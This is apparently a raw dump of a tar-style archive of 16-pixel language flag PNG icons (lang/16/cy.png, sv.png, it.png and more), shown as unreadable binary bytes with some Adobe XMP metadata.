���IDATxڤSAHA}�;Ik1!D"��lZ�R�E��x*ބ^z+�փ��{,�Ph�k{��""(��jD�RIl�(Yuͮ�N�3i)��3;3�͟y�%�n��#t�6%��OˣϛF��x��xW���%�U�m�\�����n�����]�:��8��~���y�Ӌ��m�&#d���n��ރ"+�f��\�ճE���y����F��0R��
���Iq�F���� �m�J��܄�����͆�/�P\�!\��$�
��+���Z(�p8\�ܵ�~�
~E�.�mq�F�1xc�i"�$<I�q�:��y�o=D�&�_6���`:��y��8�"&GU�~���V��V����V�px��v���X�y����ϗ~`�Ȇ~�����UƙL��'.{�>`�Y���'��*2(q�iZ]�o�tƹSE�s�5�p�s47X�� '��BR�"{��[�6D؏��IEND�B`�lang/16/cy.png000064400000001274151721413460007044 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FBIDATxڤ��KTq������f"�m)P*�U�YTX�� A�v�kQ��A	�����
�� (5�4g��ll���{�νsZd�F|6gq��JD�


�s3x�e	��&�D#@D@�iH��Ҵ�וj2��u���[™��:�%>Џq MP�P~��uz4L(��4@)�������YV��B�����9rWoR[^D�h�=��N
ÏI�=�kn~{.C�~b�����cQV�bMDJ�!~�(�[��E"4/�Q&q\���Q\�feh��q���
����x�ch�F<���;��_/��|���v���ҷ�&�@ܫa%��?�b��a�JE&.�����z�.��KؚB�dZv2��uk��pc �����%��e����*G�A�^��odZb|jo a�\�L��x��F�)Lg�L`8Ne#�HeK>�`EM^t'iλ�)2�����)����3Y ��b�5����A�ʙ�mIP�5BA�@W�4
%�Q������.�.�)]{�a����
%B�?ފ�om<$�V`�&���Ժ��?Fn���V�k�`����iIEND�B`�lang/16/sv.png000064400000000730151721413460007055 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F^IDATxڤ��J�P���z#J�7��[�}ׅ�\���Q|��m#b���K��4�EIZ+�t6s��f��Zk����ћ�&pO�����g�ο��'M	T�$��{�V�l��.�,@kxxT%`G�f�G�a�|�p��!n��X�@)��T1�*�7̂G3��t�(�2g^��\n�z��S;��G��t$����uf�	>�ɚ��(hw�ص&�0F��)܋>KRq$�\b�-��,�I���M�NҜ��8ZS���1_��V�DkT��d>g��?�d��Y�ҷ�7��1�)���!�Pb�s�sτ�8�IEND�B`�lang/16/it.png000064400000000670151721413460007044 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F>IDATxڤ�=N�@���m@
$�"MJ:��U4��C�$�Fğ(Bbg��Xqv�(#�vF�}�f�61l�Ž�Y�'�gwW_�7�������B�������W~�u|TPV��h�@�|FbSF:iȆ/?8�G�B�=%��F�eむ�hBm4#���~*~<)�M	0ӆ'�$�i#�<\��N��RZ�6^|#��2�3����&jG�U�ZP.�8;g�zD<�P����ZA[[20ֲ�͇R/�(��1�l���3~��<��u�]+gt�>���.$���b��5r��M�w�ܓ�hL�IEND�B`�lang/16/pa.png000064400000000657151721413460007035 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F5IDATxڤ��J�@��lդ�*A+�QГţg�I<�0^���*��k[��&���Z�*�,���|��̎����}X`��Z��}�׷��w5P����5+!�4*�ĥ��Ϣ�L%:�R�����Yj(�_H�_H�S%��L���(j��_p�S۠��p�\��qL'��,A�C���˅��	���1# I�_2��{�ߢ�y?1���rX%���I?��^'�F��Aġ�E��D6�J�X�ByԔ�]@0�N��^�u��hP���E�x��%	r�����ثy�qDIEND�B`�lang/16/yi.png000064400000000724151721413460007051 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FZIDATxڤ��NA���<��\�
j����h�o����/�3�>�	���P�P�`c�CD/��X�8�����̟��Y��f ,��4���d��o3ub�RGw�nY�e��T����]����8m/R;�m������Rz�զ.V�sJ)
�)%�i�4���GT�C�}����Y+��R��ӳ��W���m��s�~t"�Q���v#�Z���y ��Z����Ұf���m;��׏�R]J����m�3�;�ƴ��`�s�c��B�y	%��Ǣ�$���G����7�x�\.?ϲ��|~C ��䷁��oSb�US ���;���ں����IEND�B`�lang/16/th.png000064400000000544151721413460007043 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��NQ����� \)�\Kc,�|*Χ��E���
,�q]�ݽaֵ��.��Lq��3�p
��c
"���>{�t�~��<u�Uw�	M��`$@ff�N�\�T5��p����'/j�^ED��J�!���(˒�Jɋ���~<�Db+PU��=����~�,�`�!���R�p����'	,��%F5�-��b�(���q"����O���w��������IEND�B`�lang/16/hmn.png000064400000000725151721413460007213 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F[IDATxڤ��JA���ۋ	&��)�����#ZX�>�
��M,�h����;E!�,��7;?f���)���{9�M�����d@����M��wv���u����b7�3�\��a0�ػ���%���X�@.�GoM�M�'�XUO�t�E���x�k�`-�vN�,�q����=�+
�k*ω��|0��)�r�*4�
=���$|�A��LYҹ$�f|���&�����&�@Y���TE��-HK)xJ��5UHJ-�����L�[p��Zj�D�Z&Zk��C�r3�R�S\���/���	����X�vu�{E�������w�]�IEND�B`�lang/16/sd.png000064400000001130151721413460007026 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�=kQ��;_�뺉Q���� Q;B���X���@���F�+A������F��v����7Y���uם��3�Z��2+�	y�{8����=Bk�n$؛՝H=��Z7F���.�V ��>�}�Z@9?�;z�!�U)0͜e�F�}Y([���o}�[X�V�����R)�
�q���4�4�^����-��-b[6�v���.��?��4����Y3Mʕ}�=~�O�?���QH?
iu��q��1�R	�o�5#܃UܙC��[l�k`:�yv%`jj?����AEcJ+�Pl4~R,��x�KQa�@��ZE9�l�?6�r��}n\�ά{��+ϩ�*�)y�C���1z�7ߢ֪su�2'�ͱ���/2�"�8��H�]��a�V,�z���'�D�18�R���$	���mt��1rIԙC!�x"���@e���j"K��w"���b��gK��ת՝�IEND�B`�lang/16/mt.png000064400000000632151721413460007046 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F IDATxڤ��J1EO��PZ�**��Ŀ��_��?�U[�*�Z�$�d|�Z�ݪ����\2JDؤ���w��"2+&S�������J�����vB�
0��D������.�zЂ�b$�@,}e �o>�Vzw)Km�<G��H12��8�_�iMt�'��L�s�)�[�st��F@9���ZY�խ%�Z�2iI��*����?
U�"�J�]�`��f�r��nt�9cB`45&�ӯ�Y`l�ys`��8$�& ^mz���ɀz��bIEND�B`�lang/16/ms.png000064400000000775151721413470007056 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�]+Q��NZ���ؼ���D�(��|�T|>_B)�Pn$�dC\#��I��^o���i�8.,����S����9�)%����Pa��p��ޡY�!fR�:\Z~�N��L��|�P��(W�`M�
���o��$B4���NGЦ�~�A�����RB���-@0>߁�?�Y��(�q?	�S^�l���mơ�|>@��F]���r�uAQP�1F�,WA�8��dW�A��:?��*�i�l�cv-r2��j-H�������,�4߫�9*� �w��}8�)��� n��*�0$WRͭ����~�|��@�����4��g]��rf{��BN�{,�)�
A�y4p���o����v,/IEND�B`�lang/16/zh-TW.png000064400000000715151721413470007402 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FSIDATxڤ��NBA����@!�H����X�&��>�VV�hb��X��D"
�KĜ���k
4��m��柙��3K0��i���o���S���K(��B '����%<P�}�UL���+v�t-��G_��!X�X-���.!"���(ױ��^�2�9XZD��{ci�"�I���4��j���Jk
@E�����%���ܽEI�3%f#5�UT����x�Q��O�,��w:���eM�#�87*�yb���PF���H��t�<�4Q��ɤ'x�6�L�=���ԫ`�+�”�?�g��"S�Ȭ�=%
��X�QIEND�B`�lang/16/sm.png000064400000000754151721413470007053 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FrIDATxڤ�MK[A���Hj�F�غlk�T\�H[7���ۺ҅�Z�"P��j@��"�RP��7�ܙ;w^WL���nf1�<�s��D�iFu���9�x``����;h���~�o�OP����6�H����bo��fC!�7�v{��}~��(m�"jL��~�Z�8_}���"�������sD����QrO�Yx��9��!������1���R@LR�=��W�[���ԓ�������i)VA�%("Qi��|��z�^{w�1M+ů
RkXk���p��X	 y �Ȃf�Z
��*�2��y�[��� 
��y��<�z�@"Ώ,�B�v�{H��%`n��}��m�̄��j�:���8�cLMIEND�B`�lang/16/ps.png000064400000001026151721413470007047 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ���A�����ݽ�	�}aA0�W0���.��70R0#�A�Dvfg����2���VM�+(:�����U�6!�N���&��|��o�5��2����!�}��n
L��c6��9�xt﬷,(ʧ�/�H����kV�Ut����
�~����n���9ʲ�,�X�p�8�kK�L�v$G8�;��a�\RU�ҝMI�)EMFi�P�ƹ}�b����X4~�9=E7[�k��z�"?!�ɵk-m�B������zK��
-�i�Z�$!�o�\\�>y���	/F�
���9G��H,J��y��ca�B���x�1�`��1���@PL�
U�n�WU����l8F��/�;��}`z�.��I�HɁ��r�u�=ڸΞ����IEND�B`�lang/16/ta.png000064400000000657151721413470007042 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F5IDATxڤ��J�@��lդ�*A+�QГţg�I<�0^���*��k[��&���Z�*�,���|��̎����}X`��Z��}�׷��w5P����5+!�4*�ĥ��Ϣ�L%:�R�����Yj(�_H�_H�S%��L���(j��_p�S۠��p�\��qL'��,A�C���˅��	���1# I�_2��{�ߢ�y?1���rX%���I?��^'�F��Aġ�E��D6�J�X�ByԔ�]@0�N��^�u��hP���E�x��%	r�����ثy�qDIEND�B`�lang/16/pt.png000064400000001117151721413470007051 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�MkSA���s�kr�FI�*ADE� �t#�nąȟaq��n\�r!�t#�� *�U�QSo�&͝;�.M
fz`8��"��~Je`a|�S�@������:!�!p�뙝�y��!V��i�@����	�D!�����~�
�ƀ4�2�9]5��@+��
_z���=��^kdPXMV�m��n�Zw���N%,���B�gl���B�c4���;���&\����'�u�=M%`����	@����NV�@{=A^���Uh��%?�d#�mO"�*��ʔ5B�*S!_�s��#l9%>�E��$�cQy>��j��[MN�n���q��Ý�I�@8�S{0�B�
�����
7���&E9���uJP &'��Rj�@k��8ˆ����ҳO����?�u��`��l$�}�U�7ۉ�!�Zu������&9���-��?c��}�
;IEND�B`�lang/16/la.png000064400000000743151721413470007026 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FiIDATxڤ��j1�Zie;M !PzvzʱP��<f^#/rHrȡ�PlJa�|v%�J��e�q���AH3�f�G��1X`#��X��Gǿ�	K��O_��Ԟ֡��|Y
���@�4H�Gb�(^2�E)3��
@l���f.����R �w4�
�9D�`2|�S��t;L%��'�#�ꚰ[al��=|]�+�g���f��I���/��ncm��{
�jD -q�g��'�a��f@�o8�;p�O&.iZ�@���JW[������@ֲ�$7�������? ��J�ܯ��&W�"-�U�=̮>�!���킐&�h��7嬀-����.�C�ܻ^��޻�OX���ywIEND�B`�lang/16/km.png000064400000001027151721413470007035 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��jQ���3�=�1�D�,T��O`ĕ�n|��t#��ٸu!�}��"
	��H���n�ou�-���f���EU��S?FU��z�v�y`f����a�ɂ�uc��zy���AU�2�z�Ig��8��t��ܥRG���Iҫ��T�4�۫�$!|��	�>��?X,@*�ј�'�������
B���@y�Q����EAko�����L��#Z�k��;f_�$�y���{dw7?O��Y���hUc{]L��Y_C�
Tqw@*l�����($�'0EN�9H=s϶�6B 6#���-��?�e�i�ɀ��+/���%�PO��4�G�(����D�vT�-7A����H��
����3��?e����ܔ
 ��w���PX�a�IEND�B`�lang/16/uz.png000064400000000716151721413470007070 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FTIDATxڤ��NA��ٝE`Y�l�������11>���`c�{�6&�&��X��h"?��3�쎅�$j��ifr3盹�{�1�U$�P��<�T����eN���<���a�U��}z<	��7%�QL�d�� J�m�q��0�?(~=Y�1p�<p%`k��g)���?��1�c��`	�0���U����%��ӥs9��j�㌐���M+�Ufc6�6��� 0y�Z�R*���=@E�s�h_��pг�l@���ˑ%F�xx��
�8]n*�a�@+�����RC�V�N������DA�4/�y�
�΂d�$���s����(IEND�B`�lang/16/eu.png000064400000007666151721413470007056 0ustar00�PNG


IHDR�atEXtSoftwareAdobe ImageReadyq�e<
@iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.2.2-c063 53.352624, 2008/07/30-18:12:18        ">
 <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
  <rdf:Description rdf:about=""
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/"
    xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
    xmlns:Iptc4xmpCore="http://iptc.org/std/Iptc4xmpCore/1.0/xmlns/"
   xmpRights:Marked="False"
   xmpRights:WebStatement=""
   photoshop:AuthorsPosition="">
   <dc:rights>
    <rdf:Alt>
     <rdf:li xml:lang="x-default"/>
    </rdf:Alt>
   </dc:rights>
   <dc:creator>
    <rdf:Seq>
     <rdf:li/>
    </rdf:Seq>
   </dc:creator>
   <dc:title>
    <rdf:Alt>
     <rdf:li xml:lang="x-default"/>
    </rdf:Alt>
   </dc:title>
   <xmpRights:UsageTerms>
    <rdf:Alt>
     <rdf:li xml:lang="x-default"/>
    </rdf:Alt>
   </xmpRights:UsageTerms>
   <Iptc4xmpCore:CreatorContactInfo
    Iptc4xmpCore:CiAdrExtadr=""
    Iptc4xmpCore:CiAdrCity=""
    Iptc4xmpCore:CiAdrRegion=""
    Iptc4xmpCore:CiAdrPcode=""
    Iptc4xmpCore:CiAdrCtry=""
    Iptc4xmpCore:CiTelWork=""
    Iptc4xmpCore:CiEmailWork=""
    Iptc4xmpCore:CiUrlWork=""/>
  </rdf:Description>
 </rdf:RDF>
</x:xmpmeta>
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                           
<?xpacket end="w"?>�
��IDATxڤSKhSA=yմF�4U��"bS?��kE"�t!.JA-��+ԅ`]��
�R�T��F�A
H�?��b���M���1}Apz��f�9ܹ�B���<<��s3azX�!�lx��b"�EC�m8�x�����n���YB:~�#KVb}�1�YDG��*�{'˥6O���l���K2�
iQ�����=���|���]��>Zs��/`t�@�������rv9x�=njA"��j]��.����m
�
�t�`{<��i��*3
�������{{E��nu7^���TNEe��ح�*i6(�r�]כ~�U���q�Sǭ�l���ɷ�e���TW>����B1�F
t��oYĥ]��m����Tѿ��""�ر�:�rP`_ �q1EvG�\L���ђ���u0����
���`g�ˍV�&�����l�PF�H�߉��n,��������T �!�a]�u�z(P����&h���Z���%����IEND�B`�lang/16/ht.png000064400000003021151721413470007035 0ustar00�PNG


IHDR�atEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="adobe:docid:photoshop:7373afc1-0ddc-11dc-983c-b208d23bf319" xmpMM:DocumentID="xmp.did:E8AB9496723C11E2BB1EB6E1DF7AD1D8" xmpMM:InstanceID="xmp.iid:E8AB9495723C11E2BB1EB6E1DF7AD1D8" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4C4ED459379DE01197678DC80A35758B" stRef:documentID="adobe:docid:photoshop:7373afc1-0ddc-11dc-983c-b208d23bf319"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>dـ��IDATxڤ��JA�==���Y�F~\rH ��� ��y�<@>C��{ ǀ�rA�<��A$H�qg����tM�J.�6T�]�_WWM3c�3�����w�!�e��˯?������	)���y��]{�kLnD.
���@���ԇD�Gs�
Ґ��
��ډp��u�n�UnF�,E�,�4e(M��?M�̥�\���Od�ڠ�>��r�3�f�e��G$��@���v�%��!��ޗx�~l~��[^����`����̇��r��|N�.;�����Ƕ���<����!Ό��а�5h�a
hmn �+����1]�@]���	U\��0�����s<���c8����XM~�Y����J���U�ݣ�r3l/i���~��YyQG!���ڨ�����F�
k�T�����1x�!����������K�IEND�B`�lang/16/lo.png000064400000001022151721413470007033 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��nAE�xv�Y�h#��J(.��=e���	(U�����R*>�P� �&r��ٝݝy�,���m^3�ν�ݧD��@u`uZ�A����.����mz@C�%h�-(Y!��7��h)K$M����2gt����%����vd��M�Y�G����ך�g���kJȏp���ecC��4G*Gc5��Q��8�I����~���d�`B�g9ݟ	��ALE���V4���	�n/A��Z��
jY�SV�WS�~��]�f�ɘ�	N�sBiY��)0z��E��9��g������o>ӿJ!�D��5��f�}�)޾h=h �,�� ���˖`����%ȹI��BaE�:�%��" ֖lN�����(�}��A=�N��IEND�B`�lang/16/ceb.png000064400000001004151721413470007152 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�?K[a��}�\H�` ���F�(tm?��:
.�B!_��~�m)�Zh6�b��8����A�͟{��{n�!�b�Y�t~�9JDx���ќE�`N��r�G��{h�=ءݮ�
��
k�P*���������9@�P�|Q�X,��W2����+�r8�h�Zu��gK�Z��V?�����a����	Y�2�
++ev����Q�2	E�D�a��.@#�1�ߧ}��nQ��bql��P����3ʵ����N$z9=�o�o�H���eS��r�'
R ��}���t9�I�6-I��$����\כ�^!��%	��l��k�J�����묀9`(���J��?��(�z�;�wȔQ��IEND�B`�lang/16/fy.png000064400000001245151721413470007046 0ustar00�PNG


IHDR�asRGB���gAMA���a	pHYs``�lrYtEXtSoftwarepaint.net 4.0.12Ck�IDAT8O��_HSa�OQ�uUP�EuEe]vS͒�0�����EAЅ^h u#�*����\���j���r83
��j�;�����w�s`�E���}��=�|��
.�R�L(��A�:ul������|��ks���G�H�3�"
��&,/��=�\,�줦}�H<M��OC�0q��gVU=DZ}������!l� �ŧ&�d�Ц�V�Z��6�L}#���ۏ�	v5�1����K;�rjG�4�F���{��)dc��3iM�S�\yҌ�DZQ(_�D:'̺n]~D�����I�ghu뤀0o`l�Ľۄ�"7^�?����ݑfRvv���F�~6�XtR�_w�I��EvnV�(�di��T�4��"xh/���lbF�X���O��8����#�3:
v6��yM����rC-�7��z�VR��@$�����$G?���/��0����{���̟�"��,0O�����b?�U�H����"�i�L�q�Լ�&'?~4v{�X4�,�w ��ܹ�96IEND�B`�lang/16/lt.png000064400000000613151721413470007045 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FIDATxڤ�1N�0�?�NK��	q8;�c�pF�	B���q�����i�Ų�{����F�^��~P���&����r�`�H�G��Z�A�����+�%�"�h�z�IJ�2N"$��`.��8,���1��d՟�*�8��{�/Umy�7fn%p0�E[YT��$$D|������PUQ�$�xi+@�bRP*
 "�έ
������4�²��V���k���P'����9��
�h������k^�E�yIEND�B`�lang/16/ar.png000064400000001205151721413470007026 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FIDATxڤ��NQ����3"�DT�	`����xY�K&�Ƨ�
|��ĸt�Q�/,�F���sk�˙>u\0ᒰ!ԦR�ʗ��+k-G	d��|����w�=Z;pD���x��>=�=FWs���f
�~���*��P(,���<@��Zڴ�M6�&��q3L�qٿ
D��I���n-m�H�����^S��T���X�C,v�<����&�rH�޾ J��&��c}ì�~�Z"U>=����J��,��Է꬇M�$��#�%��2���Νʳ�7��u��Q
*(��U�R�(��. �"RIIi�!V9\9?�Gc�k�1<7C#��&��8�HbR1���?��O0�����I�.����FO��ب VH�'1�O���c(/�Le�Bo�{�w��|C��z�&V�^���I��t[���������;Fz�tyy�JA�˹�;}���;m������'�t*<����rV�䀓��B��v��`��j���4z"jIEND�B`�lang/16/ha.png000064400000000671151721413470007022 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F?IDATxڤ��J�@��MBն�� �W��_B�C��4z��Ї�w��UPlR��nw�Cb�V#�23�̷�̌�c
h��/cG@|xy���^���GWg?7'�Йz��ޟ��o�-+��p�rЉ��:K�O��$�����,�h�Xg��X�P��t��kA`� �r��3!��4Me���R�T��w�$z��à?���.���2"��F@]��b�iȵ&l��ģ��Sq��A�'(@�~q�
M)�8!��c+xZ�P~����SM�x�I���
z��\����b`X_�R����<�pI����9

򙤗ƻ�IEND�B`�lang/16/en.png000064400000001303151721413470007025 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FIIDATxڤ�]H�Q�g{�95ׇ1��b$�0$�f}�IE�fA]D�E`^�
J���ԋR"�rQ����1?&�ͯ����]�݉��s����BJ�j$+��<W�80������-��y4l����c1^<�g��e�Tr��pc7	��ʓ(�kIufg+@Z�����rbo)E�j�{��͂}�v�tL6e{\��Qٕgcֽ���Wi
`��=Ľ�E�L��ԕ���=�����'4��"ef*v����`@�Lp��fCj��!��\U'�˻�8�����7mU~m$5Á�¿�H	fHI����ƣ����q��b�'"h�)D��#�`�*�	�����K�����de%+�pW"	
_��|Axrܥ�J<���ZHy����Y�H��%0o%坏OMx�)��0��N���������}�'	��:�w�Qq�Cg�8Ņk�ޫ����e��:�Ш�U�6��8y�&�?���Zvhу���KgX��@dq�A��;]HM#��w$@Ӆ��j�������@.�f�Y��`NɼB���j�w���kXp7IEND�B`�lang/16/be.png000064400000000671151721413470007020 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F?IDATxڤ��J�@��ɌMJj���j��K�|�A�gp�+�bwn��B-�6�:�$3n�
R��gs7��{ϽG8��E��u�"���x�&T����߄���B!%��jS;?+Y�p$O��������m��
�$;m\�H�Gc�/��q\n���@���v�(t
�v%F'���PI������	�(BK��<�(B��8kK6K�6vX
����	��{�_J��.����A~�E��|���$�`b�xA:T��X�1���+�/�x�8����h=`�b��Hr$Y�F��y�t̚�)�IEND�B`�lang/16/tg.png000064400000000664151721413470007046 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F:IDATxڤ�=J�A���IDcPD�P����w��Sx[Ϡ�)R��I�������� ��f�yޙywF������]%<0�@�{y����ͻ�]�d4�r~�d�
DO5|@>���G�<�GeC���`p\�e���x$@B��E1F��'�{�é�,:HY 1PR���0�9���>����	=Lu�T���)c�����#��H%��#N�H��y�v-�{�6�x��u�P�\�_�<����n��ݗ�\�;������*	�L��(��z�YF��p�W�����̊�j�s��v��+���IEND�B`�lang/16/ne.png000064400000001172151721413470007031 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FIDATxڤ�]H�a��>\E�E&٧�JtQ��FIe7�P E7�a8\h�I�bQ�B���]E�$ɡQI�����p���|���.����t��9Ϗ��("������گoC;e�o��
E��t�M���g�[n;V�W}M'�L��5���b����x�����u!��h)
r9*���q��:��h��We�~�|����u��w���m- B2pm�����Vrl����o�<��g��3���A{:��{��Ҫl�jSp���Ћm{;U�:�[��!���~b*9�)r),"b1^LM$�$�E�{���w^���: @��{"�"�ł�U���2NC�]kM]�Y �_	 ���$���#��-2��|+��{��ة�@A׊��w2���OOPK��gaᆪ]�B���~�đ㠘�F?�ɻ��޼�m8�U���eoޓ�]pWzԥ��эew>���("��(�/4���@RDrF���E
Ё���!��_G��IEND�B`�lang/16/jw.png000064400000000515151721413470007047 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�̓=�0���CA���wa�,ܤ�,D�I�`~T6o�,�=?˶~���S��&���M�|�� �.ZV���2hi���'�^-�A;г)�4�D﹞+�U�����`�s�O�.�݊R�y�Yp���ZI��V���K���'�d�'��m[ʲ���&@��5pP�~<�N�@P���mǹ���!�QIEND�B`�lang/16/sk.png000064400000000757151721413470007054 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FuIDATxڤ�?OAG��ޝc�	q���0E>}�T�*_(R
�� :z("��)��RdGBV"ct|��–��S`O����ͼUe� 6g�K��>���Õn�<`c�`��Z�1S����`6��=?_z�Z�pr��(�a?��̩�� �������L5���W*@��$c�IF8����v�7Ft��Ԍ���	N�
��l�7S.�k�(�p���9p�j�*�$+�4o���� ��)����;
5�x�DIg!�W�ӟL8�Z��9� Bԍ�nM7�%1�,T�,ϫyQ��:(�:�*�.8G6��U����a��@�(���%z~���p#-PȺ��V���t���IEND�B`�lang/16/sl.png000064400000000724151721413470007047 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FZIDATxڤ��JA��Iv�1ƍ$A�B��Vk�l;�A��`a!؋���XXYى"��h $^Vc������ r��a�o��F�"�dcD�1KD�CݮT�b����M��`�c̦⨐�ň@�������_�+�~����D/@8�>d3Iv���f�H��lz��c�3��Or[�,-L�p
+��H�����q�%�
�95����o���
痏\���at��x���Tk&
���9@��W��՝6�xļi8N_�U��x��\1P�/��Ps�\��hL�?@�j�h_�[�&�Z0�4���j$1ҙ�>�Z���I�u����IEND�B`�lang/16/da.png000064400000000640151721413470007012 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F&IDATxڤ�1O�0�?�N!*����J�	��Y�0�O��I`!T(C[���1Ц)HQ���ޓ}~�D�e��:�6Y���h�N���O��/�����O���Ֆ+G�������w{�0��,C�������?����@�@���Lj|4*	�I9��&8[��i�JU�i*@���}SN
�Z[Y`�1�'بN>��},
�v�J�Z���1(��j圈`���sVcT��r�y�� ��p�~�Sį��vV@h���=�� ��j�q�(��Fs�4�IEND�B`�lang/16/mr.png000064400000000657151721413470007054 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F5IDATxڤ��J�@��lդ�*A+�QГţg�I<�0^���*��k[��&���Z�*�,���|��̎����}X`��Z��}�׷��w5P����5+!�4*�ĥ��Ϣ�L%:�R�����Yj(�_H�_H�S%��L���(j��_p�S۠��p�\��qL'��,A�C���˅��	���1# I�_2��{�ߢ�y?1���rX%���I?��^'�F��Aġ�E��D6�J�X�ByԔ�]@0�N��^�u��hP���E�x��%	r�����ثy�qDIEND�B`�lang/16/yo.png000064400000000671151721413470007061 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F?IDATxڤ��J�@��MBն�� �W��_B�C��4z��Ї�w��UPlR��nw�Cb�V#�23�̷�̌�c
h��/cG@|xy���^���GWg?7'�Йz��ޟ��o�-+��p�rЉ��:K�O��$�����,�h�Xg��X�P��t��kA`� �r��3!��4Me���R�T��w�$z��à?���.���2"��F@]��b�iȵ&l��ģ��Sq��A�'(@�~q�
M)�8!��c+xZ�P~����SM�x�I���
z��\����b`X_�R����<�pI����9

򙤗ƻ�IEND�B`�lang/16/nl.png000064400000000557151721413470007046 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�1N1E�cg�hA)hR�J�8
7�4�q�4H���34��T��/Y�%�?�#�QUN�*��K��O,��w��T_=>\:�֜�]_�D6(J|z�`��ж%����C������1"
�4�(�%�p8���Z*��	@����{� �P��8���=v���e��Sr��QL���)%*Q��E ���IEh�^����`��[`k��-�@2����w͙�:�IEND�B`�lang/16/ig.png000064400000000671151721413470007031 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F?IDATxڤ��J�@��MBն�� �W��_B�C��4z��Ї�w��UPlR��nw�Cb�V#�23�̷�̌�c
h��/cG@|xy���^���GWg?7'�Йz��ޟ��o�-+��p�rЉ��:K�O��$�����,�h�Xg��X�P��t��kA`� �r��3!��4Me���R�T��w�$z��à?���.���2"��F@]��b�iȵ&l��ģ��Sq��A�'(@�~q�
M)�8!��c+xZ�P~����SM�x�I���
z��\����b`X_�R����<�pI����9

򙤗ƻ�IEND�B`�lang/16/mn.png000064400000001042151721413470007035 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��n1����.��Ҥ��CBB��)R�<y	�I(x
D���" ����;�k���.Ju�4�4��|�?��\�(���`i���ѳ3t�^�����J^�<�B8|��M�ѣ�Nɾ!ܝ�1�������+�?�L,`tA��	�,?V�
j���]fs�6#��){��)v�C�j�b���6�ȋE?8cH�`��%���g���_P���P H"�/���z�|����#;K䆒����(7Y|��i_L��M1�+rT�%T+(J�MBEs����B������R���[J�#�'�YV`�X�!6���5�c48d���(���*�0��)w��v���hK.q����BH����S�ٗO�V�,��7r`8v�܅
�	`�E2[��o�~����$IEND�B`�lang/16/tr.png000064400000001077151721413470007060 0ustar00�PNG


